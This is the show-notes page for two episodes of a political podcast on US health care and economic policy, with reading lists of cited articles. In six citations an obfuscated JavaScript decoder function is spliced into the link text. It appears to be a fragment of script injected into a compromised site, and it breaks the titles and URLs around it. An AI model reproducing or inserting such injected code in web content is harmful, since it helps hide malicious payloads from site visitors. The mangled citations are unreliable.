This is Fine

Welcome to This Is Fine episode 1.12. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and remember that this podcast is “in-network” for most insurance plans.

In this week’s podcast, we take on the state of American health care, discussing at length the recently passed Republican zombie bill, the American Health Care Act, as well as Elizabeth Rosenthal’s book, An American Sickness, which discusses health care’s broken cost structure.

We discuss some of the paths forward for health care reform, and then close with a rare foray into current events, as the Trump administration’s recklessness manages to flabbergast even us.

We’ll return in two weeks with This is Fine 1.13, discussing mass incarceration.

Resources for the podcast (in order of discussion):

• Philip Klein, “Obamacare repeal effort stumbles into Senate, plagued by philosophical incoherence,” Washington Examiner

• Elizabeth Rosenthal, An American Sickness: How Healthcare Became Big Business and How You Can Take It Back

• Elizabeth Rosenthal, “Those Indecipherable Medical Bills? They’re One Reason Health Care Costs So Much,” New York Times

• Sarah Kliff, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-start-getting-real" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.vox.com/2014/8/5/5970685/when-health-care-prices-stop-being-hidden-and-start-getting-real&source=gmail&ust=1495608031172000&usg=AFQjCNGM5KNQk3zfXw_kRYksWLcPA7b-vQ">When health care prices stop being hidden, and start getting real,” Vox.com

• Chris Ladd, “Socialism for White People,” politicalorphans.com

• Nate Cohn, “Trump Supporters Have the Most to Lose in the G.O.P. Repeal Bill,” New York Times: The Upshot

• Thomas Frank, What’s the Matter with Kansas?

• Goodhart’s Law

• Danielle Kurtzleben, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anders-proposals-would-add-18-trillion-to-debt-over-10-years" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://www.npr.org/2016/05/09/477402982/study-sanders-proposals-would-add-18-trillion-to-debt-over-10-years&source=gmail&ust=1495608031173000&usg=AFQjCNFJ1naKzG92zWrx9HE1_fx47uGOig">Study: Sanders' Proposals Would Add $18 Trillion To Debt Over 10 Years,” npr.org

• President Obama, Ezra Klein, and Sarah Kliff, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-politics/2017/1/6/14193334/obama-vox-interview-transcript" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.vox.com/policy-and-politics/2017/1/6/14193334/obama-vox-interview-transcript&source=gmail&ust=1495608031173000&usg=AFQjCNEn7kdJ4mVrnRc6_NoX23LsgUAT4A">Transcript: President Obama talks to Vox about Obamacare's future”

• Dean Baker, ““Drugs are Cheap: Why Do We Let Governments Make Them Expensive?” CEPR

• Matt Bruenig, “How to Improve the Plight of Families With Children,” demos.org

• Jerry Vinokurov, “You Don’t Have to Give Bullshit a Platform,” blog.grapesmoker.net

• Hadas Gold, “New York Times publisher sends personal appeal to those who canceled over Bret Stephens,” Politico.com

• Norm Ornstein, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-conservatives-are-worse/373044/" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.theatlantic.com/politics/archive/2014/06/yes-polarization-is-asymmetric-and-conservatives-are-worse/373044/&source=gmail&ust=1495608031184000&usg=AFQjCNHEFTVnf-M_ZyMdGjhMU3vzgG1dFA">Yes, Polarization Is Asymmetric—and Conservatives Are Worse,” The Atlantic

Welcome to This Is Fine episode 1.11: The New, New Marshall Plan. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and use a printout of this link as your token the next time you play Monopoly!

In this week’s podcast, guest Marshall Steinbaum, a senior economist and fellow at the Roosevelt Institute, joins us to discuss how there is no free market to be found in the state of nature and how the United States has always had an active industrial policy, often favoring the wealthy.  

We discuss why the movement to defund and privatize public goods like education coincided with the civil rights’ movement attempt to extend those goods to non-whites.  Finally, we touch on the ways in which corporate and shareholder power, and the decline of progressive taxation have made the economy more favorable to capital and more hostile for labor.

We’ll return in two weeks with This is Fine 1.12.

Resources for the podcast (in order of discussion):

• Marshall Steinbaum, Roosevelt Institute Biography
• Janet Yellen, “Macroeconomic Research After the Crisis,” Federal Reserve
• Elizabeth Shermer, “Indentured Studenthood: The Higher Education Act and the Burden of Student Debt,” New Labor Forum
• Gary Becker, “Human Capital: A Theoretical and Empirical Analysis, with Special Reference to Education,” NBER
• Jelani Cobb, “The Failure of Desegregation,” The New Yorker
• Kate Taylor, “Family by Family, How School Segregation Still Happens,” The New York Times
• Beth Fertig, “Advice from Jason Jones to Upper West Side Parents: Don't Talk to the Press,” WNYC
• Matthew Stoller, “How Democrats Killed Their Populist Soul,” The Atlantic (again)
• Seamans, Singer, Steinbaum, Swanson: “Will Robots Take Our Jobs?  We May be Overreacting,” Fortune Magainze
• David Autor, “The Polarization of Job Opportunities in the U.S. Labor Market”
• Beaudry, Green, and Sand, “The Great Reversal in the Demand for Skill and Cognitive Tasks”
• Jeff Cox, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-a-half-trillion-dollars-in-cash-overseas.html">US companies are hoarding $2.5 trillion in cash overseas”
• Oliver Hart and Bengt Holmstrom, “The Sveriges Riksbank Prize in Economic Sciences in Memory of Alfred Nobel 2016”
• David Weil, The Fissured Workplace
• Andrei Shleifer and Larry Summers, “Breach of Trust in Hostile Takeovers”
• Tax Policy Center, “Historical Highest Marginal Income Tax Rates”
• Doytch and Cakan, “Growth Effects of Mergers and Acquisitions: A Sector-level Study of OECD countries”
• Stiglitz, Abernathy, Hersh, Konczal, Holmberg, “Rewriting the Rules of the American Economy”
• Iber and Konczal, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anders">Karl Polanyi for President”
• Boushey, De Long, and Steinbaum, “After Piketty: The Agenda for Economics and Inequality”